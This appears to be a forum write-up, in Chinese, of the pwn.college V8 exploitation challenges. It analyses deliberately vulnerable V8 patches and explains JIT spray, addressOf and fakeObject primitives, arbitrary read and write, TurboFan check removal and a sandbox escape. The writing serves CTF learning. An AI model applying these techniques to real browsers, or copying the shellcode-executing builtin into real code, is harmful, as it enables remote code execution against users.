-
-
[原创] Pwncollege V8 Exploitation 完结
-
发表于: 2025-6-6 10:58 3377
-
笔者以巩固基础为目的,完成了 pwncollege 的 V8 Exploitation 课程。整体而言,题目质量不错,但偏向于入门,因此特地整理了一篇通关笔记。若文中有疏漏或错误之处,欢迎各位师傅批评指正!
提前开一波香槟,完结

漏洞分析里有完整的patch内容
修改编译参数
接着编译
为array类型创建了一个run方法

首先,该函数会检查传入的对象是否为JSArray,并且要求数组的元素类型必须是简单类型(即没有 holes、不是对象等)。接下来,会判断数组的elements kind 是否为PACKED_DOUBLE_ELEMENTS,也就是要求数组中的所有元素都是double类型(即 JavaScript 的 Number类型,且不是int32、BigInt 或对象等)。随后,函数会检查数组的长度,确保其不会超过4096 字节(也就是最多512 个double元素),以防止溢出。
通过这些检查后,函数会调用mmap申请一段4096 字节、具有读写执行(RWX)权限的内存区域。实际上,在这一步就可以将 shellcode写入到该内存区域。随后,函数会将JSArray中的所有 double元素逐个拷贝到新申请的RWX 段中。最后,函数将这段内存作为函数指针直接执行,也就是运行了你拷贝进去的shellcode。
鉴定为v8里的ret2shellcode????????????
完整的patch文件内容
申请了一段rwx段,然后将用户创建的JSArray内容直接执行,那么提前在JSArray里提前布置shellcode就行
第一种方法,生成shellcode的脚本,这里是生产的是BigInt类型,所以还需要调用ToDoubleArray转化为浮点数
然后将输出的结果放到js脚本里,如下布置的shellcode
这里将类型转化,shellcode array转化为double array
第二种方法就是写浮点数的shellcode,这里是py脚本
输出如下,赋值到脚本里即可
这里直接写一个浮点数的shellcode就可以了

漏洞分析里有完整的patch内容
修改编译参数
编译
这里patch了三个函数,从名字看其实就是三个v8利用里常见的原语,获取对象的地址、沙箱内地址任意读写

可以看下怎么实现的,获取当前的isolate之后,先判断参数个数,接着判断参数的类型是不是对象(tag),然后直接获取address
获取isolate,参数长度为1,也就是读这个参数地址的内容,判断参数类型是否为Number,下面获取cage_base,其实也就是gc申请内存的基地址,然后类型转化一下。接着获取full_addr(r14+addr),然后通过指针解引,返回一个uint32_t的结果。
这里之所以需要先获取 cage base 并进行地址转换,是因为 V8 启用了指针压缩(Pointer Compression)机制。该机制下,堆对象的地址并不是完整的 64 位地址,而是相对于 cage base 的 32 位偏移量。不了解的读者可以自行搜索相关资料,原理并不复杂。
获取isolate,限定参数长度为2,分别获取两个参数,同时判断类型是否为Number。下面的流程和ArbRead32类似,就是最后这里不是指针解引,而是*(uint32_t *)full_addr = value; ,这里学过c的都能看得懂吧
完整的patch文件内容
其实这里patch了三个可以直接利用的漏洞原语,思路就很明确了。对于12.8版本,这里可以采用JIT Spray的方法,写立即数的shellcode,然后修改function的code_addr,实现错位字节的shellcode,也就是利用Maglev存在的漏洞实现控制流劫持(这里的环境不存在沙箱,所以并没有实现沙箱逃逸)如果开启了沙箱,其实这个方法还是可以实现沙箱逃逸的,但是会多一点绕过条件
mark一下一开始的思路,想通过覆写
d8 12.8版本,劫持jump table 失败

首先看下这一段代码的输出,这里需要关注code字段

job code,看一下输出,这个对象记录了instruction_start的起始地址,下面的一串instruction就是这一个函数经过Maglev优化后的代码

下面这一段其实就是我们写的shellcode的位置,浮点数是八字节的表示形式,去掉前面两个字节的操作,剩下的六个字节就是我们可控的内容,然后为了能写成rop的形式,所以6个字节里要已jmp结尾,用来跳到下一个gadget片段,所以我们每一个gadget可以写四字节的内容+一个jmp

这里可以看一下写成的效果

那么接着就是可以通过修改instruction_start 为我们控制的gadget片段的起始地址,修改为起始地址+0x6b(这里的偏移是根据不同环境来确定的)
看一下一开始的code: 0x1244002402a9 <Code MAGLEV>

修改之后

然后在最后的syscall下一个断点,gdb里c过去,可以看到最后执行的效果,就是执行了execve("catflag",0,0); ,这样就可以拿到flag了

这里我首先使用了py脚本生产一段shelcode
这里对于catflag这个字符串的处理,我将这个转化为hex的形式,然后分成高位和低位4字节,分别赋值给eax和ebx,然后eax << 32位存储到rax里,接着再讲低4字节赋值给rax,这样字符串就处理好了,然后push到栈上,接着讲rsp赋值给rdi,那么execve的第一个参数就处理好了,后面的rsi和rdx已经系统调用,对于看到这篇文章的读者,应该不会成为一个问题
看下这里执行完毕的效果
将输出赋值到convert.js脚本里,convert.js脚本的内容,需要转化为BigInt类型,然后前面加上0x
输出如下,最后拷贝到exp.js里,这个就是我们需要的shellcode
过程中遇到了很奇怪的问题(玄学),这是我一开始的脚本,必须删除一些debug输出,才能在远程环境中输出flag
最终拿到flag的脚本
以下为最终的脚本,修改了shellcode执行的次数之后,可以稳定的输出flag,但是笔者debug了一下两个脚本的区别,最后的优化代码都是Maglev生成的,且size相同,没有查到根本原因,如果有知道的师傅,可以d一下笔者

漏洞分析里有完整的patch内容
修改编译参数
编译
patch了两个很经典的原语,分别用于获取obj的地址和伪造obj

GetAddressOf的实现。获取isolate,限制参数长度不能为0,限制参数的类型必须为gc管理的对象,类型转化下,然后获取obj的地址
GetFakeObject的实现。获取isolate和对应的上下文环境,限制参数的长度必须为1且为number类型,获取addr,将被压缩的指针恢复为原来的地址,cast为obj类型,接着调用obj_handle转化为obj。
这里obj_handle的类型其实还是会做一些检查的,伪造的时候还是需要去伪造map、prototype等,以确保是一个看起来正确的obj
下面是完整的diff内容
有GetAddressOf和GetFakeObject,可以通过这两个原语来构造出一个fake_array,从而实现AAR和AAW
可以看下图

通过在某一地址处伪造出map和prototype,然后可以通过GetAddressOf获取其地址,接着写入prototype的值,写成0就可以。接着人为构造一个array,通过GetAddressOf获取到elements的地址,然后可以写死到fake_array里,length就可以自定。
那么就会得到这样一个fake_array
通过GetAddressOf获取到fake_array的地址之后,接着使用GetFakeObject就可以获取到一个fake_obj,然后通过这个fake_obj实现AAR和AAW
cage_read/write的命名有点问题,这里没开沙箱,后来笔者写这篇博客的时候发现了,懒得改了
接着利用JIT Spray

漏洞分析里有完整的patch内容
修改编译参数
编译
patch了一个setLength方法

这里将length转化为smi,注意下就行。然后检测下receiver的类型,就直接赋值了,修改了array的长度
完整的patch内容
我们可以修改array的length,那么其实意味着我们可以有一个越界写,但是经过笔者的测试发现,他其实只是修改了这个JSArray的length,但是element的length并没有修改,然后笔者推测越界写应该是有一个check,然后导致了越界写的失败,所以我们这里只能有一个越界读
似乎还有一个解释,这里的JSArray采用了懒加载,就是虽然设置了0x1000,但如果其实没有用到那么大的空间的时候,就不会初始化后面的空间,所以有的时候越界读会堵到NAN,这个有点像延迟绑定????

那么我们可以利用如下代码构造如下的结构,构造两个相邻的double_array
利用oob读取下一个double_array的map和prototype

有了double_array的map和prototype,想要构造addressOf的原语,这里还需要一个obj_map和prototype,因为有了一个越界读,所以可以通过修改一个正常obj的elements来实现AAR和AAW,因此这里不需要构造fakeObject也同样可以实现AAR和AAW
所以接着可以构造double_array和obj相邻的结构,代码如下

此时已经具备了所有构造的条件,先看下addressOf的实现
其实就是如下的结构,通过rw_array的越界写,修改obj的map,这样改变了其索引element的方式,可以获取任意对象的地址

接着构造AAR,
利用rw_array的越界写,修改obj的第一个element,然后obj[0]就可以访问到指定地址内容了
细心的读者可能会注意到,这里的addr-8,原因是elemnet索引的时候,开头的八个字节是map和prototype,所以访问第一个元素是addr+8,相对应的,我们想要实现任意地址读写的效果,这里就需要addr-8

下面的AAW其实是一样的,只不过AAR是通过obj[0]访问元素,这里是通过obj[0] = xxx;赋值,来修改内容
可以看到注释,这里踩了一个坑,这里Number和BigInt转化的时候出现了精度损失
下面就是用JIT Spray来指令执行了,和前面的流程一致

漏洞分析里有完整的patch内容
修改编译参数
编译
添加了一个offByOne的方法

首先判断receiver是不是JSArray和是否存在hole,接着对于类型进行了限制,只能是PACKED_DOUBLE_ELEMENTS、HOLEY_DOUBLE_ELEMENTS、PACKED_ELEMENTS和HOLEY_ELEMENTS
这里就需要上线经典老图,网址:b34K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6W2L8r3g2E0k6h3&6@1M7#2)9J5k6r3E0A6L8X3c8K6

然后限制参数数量不超过两个,其实只能加1个,因为第一个参数是receiver,接着去获取array的length。
下面有两个分支,当类型为PACKED_DOUBLE_ELEMENTS和HOLEY_DOUBLE_ELEMENTS对应数组内都为浮点数的情况,此时v8就会使用更高效的FixedDoubleArray来存储元素;else分支对应的情况是数组内存在了一些其他类型(对象、字符串undfine、undifined、holes)的情况,采用FixedArray存储元素。
分支内的模式都是相同的,用户不传参数对应read mode,传一个参数对应write mode。read mode直接返回elements[len]的元素内容,很典型的一个越界,write mode会先判断用户穿入的参数类型是否为Number,接着转化为double类型,然后elements[len]=val,一个八字节的越界写
完整的patch内容
从上面不难看出这是一个八字节的越界读写漏洞,那么就要思考越界读写八字节的最大效果是什么。
看这一个demo
输出如下
对于两个相邻的JSArray类型的对象,map类型都为PACKED_DOUBLE_ELEMENTS,越界8字节之后的输出是下一个对象的map和properties,意味着我们可以读写这两个内容
其实可以尝试一下相邻的对象类型是JS_OBJECT_TYPE,这样就可以存在一个类型混淆
对于这一段代码
输出如下
这里越界可以读到obj的map和properties,因此map已经是可控制的了,这里一开始我尝试混淆相邻对象的map,然后写addressOf,但是地址非常不稳定,因此尝试了另外一个思路
但是一般来说我们需要控制的内容是elements,所以我们控制properties会有什么作用呢?这篇博客里介绍了f22K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6X3j5i4y4@1i4K6u0V1M7s2u0G2M7r3g2J5N6r3W2W2M7H3`.`.,笔者这里简单介绍下,详细的需要自行看官方博客
下面这张图说明了Named Properties通过properties来索引,Indexed Properties通过 elements来索引

下面显示的是in-object会直接存储在elements的后面,然后normal properties就还是通过properties来索引

对于这一段代码
这样的输出
对于Indexed Properties,这里是elements索引

这里的in-object直接存储在elements后面,然后out-objs 也就是normal properties,都使用了properties来索引,这里的值都*2,是因为这个smi的表示

结合上面的观察,可以通过8字节的溢出可以覆盖到properties,那么其实就可以控制normal properties,如果修改为一个obj的elements,然后使用obj.out_object1 = xxxx;来索引,同时修改值,这样就可以修改elements的length,同时继续去修改obj的length,这样就可以有一个rw_array,有这个rw_array之后,写addressOf、fakeObject、AAR、AAW是很简单的了
构造如下结构,这样索引out-obj1的时候就可以修改length的值了,后面的步骤就是很熟悉的了


漏洞分析里有完整的patch内容
修改编译参数
接着编译
添加了一个functionMap的方法

省略前面一部分的检查操作,这个和之前的都很类似,这个方法会获取一个参数,这个参数必须是JSFunction
下面是主要逻辑,对原本array的所有元素进行操作,取出元素转换为obj,也就是下面的elem_handle,解释调用func_obj,也就是用户穿入的自定义函数,参数就是elem_handle,将返回值再写入原本的elements内
细看其实就会发现问题,这里没有对于元素类型进行检查,意味着我返回的元素类型可以改变为与原本对象不同的类型,那么这样就会导致原本对象的map改变,这样就可以实现类型混淆
patch的完整内容
对于上面的分析,我们就可以尝试构造一个函数,动态的修改obj的类型,下面是addressOf的编写,采用switch case的结构,使用itr进行遍历。第一次执行victim_arr[2] = obj; ,成功的修改了map,然后itr为1的时候,就会解析出来obj的地址
idx=1可以索引出原本victim_arr[2]的原因是由于类型发生转换,变成obj类型之后,转换成pointer,对应了四字节(也就是指针压缩),所以索引arr的idx会发生改变
接着就是fakeObject,思路是很类似的,这里还是修改arr的类型,然后解析穿入地址,伪造成一个obj,接着调用arr[0]返回,索引的问题和上面是一样的,可以动态调试看下
有了addressOf和fakeObject,后面的步骤都是一致的,AAR和AAW,最后JIT Spray

现在登场的是,因为环境问题卡了最久的:(
漏洞分析里有完整的patch内容
修改编译参数
接着编译
这里的patch是对于turbofan的,可以看到目录是/src/compiler/turboshaft/,优化阶段是machine-lowering
这里是删去了对于map为空时的检查
这里一整个将对于map检查的操作全部删去了
总的来看,对于一段代码经过优化后,将不会检查map类型。换句话说,这段代码被优化之后,我可以对其操作过的对象的map任意修改
完整的patch内容
接着写一个poc验证我们的想法,下面的结果是成功验证了

使用Turbolizer分析下,选择到BuildGraph阶段

此时存在checkmap的检查,结合diff,发生在机器码优化阶段之前

接着将调到MachineLowering阶段

可以发现原本的CheckMaps已经变成了AssumeMap,AssumeMap意味着假设对象的map不会改变,对应diff里的逻辑就是不对map进行任何检查

后方已经不存在任何的map检查

可以聊一下这里addressOf的编写。通过分析上述优化阶段可以发现,该补丁实际上只影响 TurboFan 优化器。因此,只有在代码被 TurboFan 优化时,才可能触发前述漏洞。自 2021 年 V8 引入 Maglev 后,在不满足直接使用 TurboFan 优化条件的情况下,Ignition 生成的字节码会先由 Maglev 生成 SSA 和 CFG,随后再交由 TurboFan 进一步优化。由于这种优化路径的不同,上述漏洞在该路径下不会被触发。
所以我们需要增加函数的复杂性和执行时间,一步到位的去直接跳过Maglev的优化
复杂性方面无需多言,而在执行时间方面,TurboFan 会评估编译优化该函数所需的时间与该函数未优化时的执行时间,只有当优化能够带来明显的性能提升时,TurboFan 才会选择对该函数进行优化。
下面采用了if(flag || idx < 1)的分支结构,防止下方的bypass函数被优化
其实后续发现采用try-catch的结构也可以增加成功率,不过笔者并没有提供try-catch结构的exp,
后面的构造步骤基本一致,然后需要注意的点就是,调用完addressOf之后,大概率触发gc,会导致堆布局的变化
最后的脚本,远程环境中成功率不高,得多试几次(写个爆破脚本也不是不行

漏洞分析里有完整的patch内容
修改编译参数
接着编译
patch里主要的变动区域在这里,发生在这个阶段simplified-lowering,这个函数的流程是与边界检查有关的,也就是类似于数组索引的操作,进入turbofan优化的时候,会调用到这个函数
主要在于下方删去了if (v8_flags.turbo_typer_hardening) 替换为if (false /*v8_flags.turbo_typer_hardening*/) ,这就意味着会直接执行到DeferReplacement(node, NodeProperties::GetValueInput(node, 0)); ,而这个语句的作用就是直接消除边界检查,那么意思就是说,一段执行过索引数组操作的代码,被turbofan优化过后,数组就不存在边界检查,也就是任意的oob
完整的patch
通过上面的分析,笔者先写了一个验证的poc

可以发现这里已经越界成功了,那么就依照这个思路去写addressof,可以凭借这里的越界读写去直接修改elements,这样就可以直接得到AAR和AAW,后面思路也是一致
比较抽象的点就是环境,因为使用了JIT Spray,所以很容易触发gc,从而导致堆布局变化,而且即使本地使用了与远程一致的docker环境,最后和远程环境还是不一样,所以需要调……(很没必要的时间,在这种问题上)
因为这个level-8的环境存在Maglev,所以不太好调,可以在d8执行参数上加上--trace-opt,观察优化的情况
环境太几把玄学了。

漏洞分析里有完整的patch内容
修改编译参数
接着编译
从编译参数里可以发现这次没有v8_enable_sandbox = false,因此是开启了沙箱
这个patch的内容其实是高版本v8引入的一个api的部分方法,主要用于测试沙箱逃逸的api,开启之后相当于拥有了对于沙箱内地址任意修改的能力,最新版本的api功能可以查看src/sandbox 目录下的源码。
这道题目开启了如下所示的四个方法

注释里是使用方法,这里返回了sandbox的大小
这个方法提供了一个[addr,addr+offset]的内存任意读写的能力,但是范围限定在了沙箱内,从这段代码可以看出来(offset > sandbox->size() || size > sandbox->size() || (offset + size) > sandbox->size())
这个就是获取obj的地址
下面是获取obj的size
完整的patch内容
这里已经具有了沙箱内任意读写的能力,所以也不需要再构造addressOf和fakeObject原语,现在需要思考的应该是如何成功地沙箱逃逸
一个技巧是通过这个办法构造越界读写原语,这样可以调用DataView的方法去直接4/8字节操作内存
还是可以采用立即数shellcode,配合JIT Spray实现沙箱逃逸
对于这样一段代码
输出如下
这里只需要修改code 字段,就可以劫持控制流,这里修改成0x41414141,gdb里执行set {int}0x1d830834363c=0x4141414141 ,执行发现此时的RCX=R14+0x41414141,意味着我们可以劫持rip具体值,通过修改code字段

注意下方的汇编,提取出来是这样。这里只要劫持rcx的值就是任意指令执行,需要执行的指令位于rcx+0x3f,同时需要绕过条件[rcx+0x1b] & 0x20000000 = 0
绕过dword ptr [rcx + 0x1b], 0x20000000的方法,shellcode最前面加一个1.0就可以,
然后后面就是修改code为我们shellcode位于的位置-0x3f

- 目录
- 前言
- level-1
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
- level-2
- 环境搭建
- 漏洞分析
- 漏洞利用
- 劫持jump table 失败(后续查看下原因
- JIT Spray
- 方法的利用步骤
- shellcode生成
- 遇到的一些问题
- exp
- level-3
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
- level-4
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
- level-5
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
- level-6
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
- level-7
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
- level-8
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
- level-9
- 环境搭建
- 漏洞分析
- 漏洞利用
- exp
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/releasegit reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/release➜ release git:(5a2307d0f2c) ✗ cat args.gn # Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = false target_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = false➜ release git:(5a2307d0f2c) ✗ cat args.gn # Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = false target_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = falseautoninja -C out/release d8autoninja -C out/release d8+BUILTIN(ArrayRun) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);+ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need array of double numbers")));+ }++ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));+ if (sizeof(double) * (uint64_t)length > 4096) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("array too long")));+ }++ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);+ if (mem == (double *)-1) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("mmap failed")));+ }++ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {+ double x = elements->get_scalar(i);+ mem[i] = x;+ });++ ((void (*)())mem)();+ return 0;+}+BUILTIN(ArrayRun) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);+ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need array of double numbers")));+ }++ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));+ if (sizeof(double) * (uint64_t)length > 4096) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("array too long")));+ }++ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);+ if (mem == (double *)-1) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("mmap failed")));+ }++ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {+ double x = elements->get_scalar(i);+ mem[i] = x;+ });++ ((void (*)())mem)();+ return 0;+}diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex ea45a7ada6b..c840e568152 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -24,6 +24,8 @@ #include "src/objects/prototype.h" #include "src/objects/smi.h" +extern "C" void *mmap(void *, unsigned long, int, int, int, int);+ namespace v8 { namespace internal { @@ -407,6 +409,47 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); } +BUILTIN(ArrayRun) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);+ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need array of double numbers")));+ }++ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));+ if (sizeof(double) * (uint64_t)length > 4096) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("array too long")));+ }++ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);+ if (mem == (double *)-1) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("mmap failed")));+ }++ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {+ double x = elements->get_scalar(i);+ mem[i] = x;+ });++ ((void (*)())mem)();+ return 0;+}+ namespace { V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 78cbf8874ed..4f3d885cca7 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -421,6 +421,7 @@ namespace internal { TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.push */ \ CPP(ArrayPush) \+ CPP(ArrayRun) \ TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.shift */ \ CPP(ArrayShift) \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex 9a346d134b9..58fd42e59a4 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtin::kArrayRun:+ return Type::Receiver(); // ArrayBuffer functions. case Builtin::kArrayBufferIsView:diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..40a762c24c8 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true);+ SimpleInstallFunction(isolate_, proto, "run",+ Builtin::kArrayRun, 0, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin",diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex ea45a7ada6b..c840e568152 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -24,6 +24,8 @@ #include "src/objects/prototype.h" #include "src/objects/smi.h" +extern "C" void *mmap(void *, unsigned long, int, int, int, int);+ namespace v8 { namespace internal { @@ -407,6 +409,47 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); } +BUILTIN(ArrayRun) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);+ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need array of double numbers")));+ }++ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));+ if (sizeof(double) * (uint64_t)length > 4096) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("array too long")));+ }++ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);+ if (mem == (double *)-1) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("mmap failed")));+ }++ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {+ double x = elements->get_scalar(i);+ mem[i] = x;+ });++ ((void (*)())mem)();+ return 0;+}+ namespace { V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 78cbf8874ed..4f3d885cca7 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -421,6 +421,7 @@ namespace internal { TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.push */ \ CPP(ArrayPush) \+ CPP(ArrayRun) \ TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.shift */ \ CPP(ArrayShift) \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex 9a346d134b9..58fd42e59a4 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtin::kArrayRun:+ return Type::Receiver(); // ArrayBuffer functions. case Builtin::kArrayBufferIsView:diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- 